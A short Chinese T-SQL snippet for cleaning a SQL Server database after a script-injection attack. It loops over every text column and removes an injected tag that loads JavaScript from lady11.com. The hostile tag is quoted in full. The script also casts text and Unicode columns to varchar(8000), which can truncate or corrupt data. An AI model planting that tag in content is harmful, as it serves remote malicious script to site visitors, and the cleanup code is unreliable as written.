清理数据库JS注入

declare @tableid int declare @tablename sysname declare @colid int declare @colname sysname declare mycursor cursor /* 声明游标，默认为FORWARD_ONLY游标 */ FOR select c.id,c.name,a.colorder,a.name from syscolumns a left join systypes b on a.xtype=b.xusertype left join sysobjects c on a.id = c.id where c.xtype = 'U' and c.name != 'dtproperties' and b.name in ('text','ntext','varchar','char','nvarchar','nchar') order by c.name asc,a.colorder asc OPEN mycursor /* 打开游标 */ FETCH NEXT from mycursor into @tableid,@tablename,@colid,@colname /* 读取第一条数据*/ WHILE @@FETCH_STATUS = 0 /* 用WHILE循环控制游标活动 */ BEGIN /* 开始更新字段 */ exec(' update '+@tablename+' set '+@colname+'= replace(cast('+@colname+' as varchar(8000)),''<mce:script src="http://lady11.com/s.js" mce_src="http://lady11.com/s.js"></mce:script>'','''')') /* 结束更新字段 */ FETCH NEXT from mycursor into @tableid,@tablename,@colid,@colname /* 读取下一条数据*/ END CLOSE mycursor /* 关闭游标 */ DEALLOCATE mycursor /* 删除游标 */